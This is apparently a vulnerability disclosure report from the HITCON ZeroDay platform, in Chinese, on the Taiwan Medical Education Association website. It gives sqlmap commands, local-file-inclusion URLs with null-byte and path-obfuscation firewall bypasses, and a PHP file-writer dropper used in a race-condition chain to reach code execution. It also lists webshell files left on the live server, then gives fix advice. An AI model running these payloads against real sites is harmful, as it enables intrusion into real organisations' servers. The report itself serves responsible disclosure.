Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00001
- Vendor: 台灣醫學教育學會
- Title: 台灣醫學教育學會 SQLi、LFI、LFI to RCE
- Introduction: SQLi、LFI、測試功能未關閉,導致可以透過條件競爭LFI to RCE
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/01/01 04:38:13 : 新提交 (由 萌新 更新此狀態)
- 2025/01/01 04:43:27 : 新提交 (由 萌新 更新此狀態)
- 2025/01/01 04:44:39 : 新提交 (由 萌新 更新此狀態)
- 2025/01/01 04:49:10 : 新提交 (由 萌新 更新此狀態)
- 2025/01/02 10:21:40 : 新提交 (由 萌新 更新此狀態)
- 2025/01/03 08:55:04 : 新提交 (由 萌新 更新此狀態)
- 2025/01/03 09:54:10 : 新提交 (由 萌新 更新此狀態)
- 2025/01/03 13:10:47 : 新提交 (由 萌新 更新此狀態)
- 2025/01/03 16:56:14 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 11:52:56 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 11:52:56 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/01/17 11:52:57 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/03/17 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00001
- 通報者:nhd1261 (萌新)
- 風險:嚴重
- 類型:遠端命令執行 (Remote Code Execution)
參考資料
漏洞說明: OWASP - Code Injection
https://www.owasp.org/index.php/Code_Injection
漏洞說明: OWASP - Command Injection
https://www.owasp.org/index.php/Command_Injection
漏洞說明: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
http://cwe.mitre.org/data/definitions/77.html
漏洞說明: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
http://cwe.mitre.org/data/definitions/78.html
相關網址
https://www.tame.org.tw/news/news.php?fnCode=../.././.././windows/.//./wIn.inI%00
https://www.tame.org.tw/news/news.php?fnCode=view&uid=641
https://www.tame.org.tw/webmag/webmaglogon.html
https://www.tame.org.tw//import/test.html
敘述
SQLi
網站參數與管理員登入存在注入點,但因為有防火牆所以無法讀取資料庫。
Payload:
python sqlmap.py -r "test" --thread 10 --random-agent --batch --dbs --tamper multiplespaces,randomcase
python sqlmap.py "https://www.tame.org.tw/news/news.php?fnCode=view&uid=641" -p uid --thread 10 --random-agent --batch --dbs
LFI
網站個頁面的fnCode添加單引號報錯,從錯誤訊息中看出很可能存在LFI,進一步測試後,嘗試構建以下payload,發現錯誤訊息消失,代表引入的php被執行。
https://www.tame.org.tw/news/news.php?fnCode=../../news/news
根據反應進一步測試字元截斷,可以透過添加%00截斷後續字元,成功引入php以外的檔案。
https://www.tame.org.tw/news/news.php?fnCode=../../robots.txt%00
再根據錯誤訊息中 include_path='.;c:\php4\pear' ,代表include()尋找檔案是先從當前目錄尋找,若找不到再從c:\php4\pear尋找,於是嘗試構件以下payload:
https://www.tame.org.tw/news/news.php?fnCode=../../../Windows/System32/drivers/etc/hosts%00
發現回應502,推測是防火牆檔下,反覆測試後發現可以通過加入額外的.與/還有大小寫混淆繞過,於是重新構建payload,成功引入系統檔案。
https://www.tame.org.tw/news/news.php?fnCode=../../../Windows/./System32/./drivers/./etc/./hosts%00
https://www.tame.org.tw/news/news.php?fnCode=../.././.././windows/.//./wIn.inI%00
LFI to RCE
已知LFI可以執行引入檔案,所以開始尋找可以寫入木馬的地方,使用dirsearch掃描時,意外發現一個看起來是開發者測試用的上傳功能,但嘗試上傳後回應失敗,雖然上傳失敗但這個頁面回覆了非常完整的錯誤訊息,包括檔案暫存目錄與上傳檔案的暫存檔名等資訊,反覆上傳幾次後發現暫存檔的命名有規律,可以預測出下一次上傳檔案的暫存檔檔名,於是想到可以透過條件競爭的方式寫入木馬,以下是我所上傳的shell。
https://www.tame.org.tw//import/test.html
<?php
$target_dir = "D:\\Site\\TAME\\";
$webshell_name = "info.php";
$webshell_content = "<?php phpinfo(); ?>"; //這裡放要寫入的shell
// 檢查檔案是否已存在
if (!file_exists($target_dir . $webshell_name)) {
$fp = fopen($target_dir . $webshell_name, "w");
if ($fp) {
fwrite($fp, $webshell_content);
fclose($fp);
echo "檔案寫入成功";
}
}
?>
在上傳此shell的同時使用burp 的intruder 功能不停傳送請求讓LFI引入暫存檔fnCode=..///.//././///..////./..///PHP//./////uploadtemp//////./{暫存檔名}.tmp%00 ,只要在暫存檔被刪除之前引入shell,就可以此執行shell,成功在網站目錄寫入info.php。
https://www.tame.org.tw/info.php
根據我測試,伺服器似乎安裝了防毒軟體,我嘗試寫入的一些shell雖然回應寫入成功,卻會被刪掉,或是一些執行命令的shell也都無法正常運作,我沒有繼續嘗試bypass防毒的方法,但不排除用更高級的混淆方法或利用此伺服器過舊版本php的已知漏洞取得shell的可能。
以下是我嘗試寫入的一些檔案,由於沒有取得伺服器的命令權限,以下檔案無法刪除,修復時請協助刪除。
https://www.tame.org.tw/info.php
https://www.tame.org.tw/i.php
https://www.tame.org.tw/who.php
https://www.tame.org.tw/dir.php
https://www.tame.org.tw/hi.php
修補建議
參數化查詢: 使用 SQL 驅動提供的參數化查詢方式,例如 PDO (PHP Data Objects) 或 MySQLi。這樣可以確保查詢中的變量不會被當作 SQL 代碼執行。
輸入驗證與清理: 進行嚴格的輸入驗證和過濾,避免不可信的輸入進入應用程序。尤其是對用戶提交的參數進行有效性檢查和過濾。
錯誤訊息管理: 關閉詳細錯誤訊息的顯示,以防洩露數敏感信息。
限制可讀取的檔案目錄: 僅允許特定目錄下的文件被包含(例如,設定 include_path),並禁止包含系統關鍵檔案。
過濾特殊字符: 去除用戶輸入中的 ..、/ 和其他文件導航字符以及%00等截斷字元,防止目錄遍歷攻擊。
上傳檔案檢查:檢查上傳檔案類型,如使用白名單。
升級php:網站使用過舊的PHP Version 4.4.2,這個版本已經停止支持,並且存在許多已知漏洞,建議升級到新版本的 PHP。
最後,刪除無用的測試功能。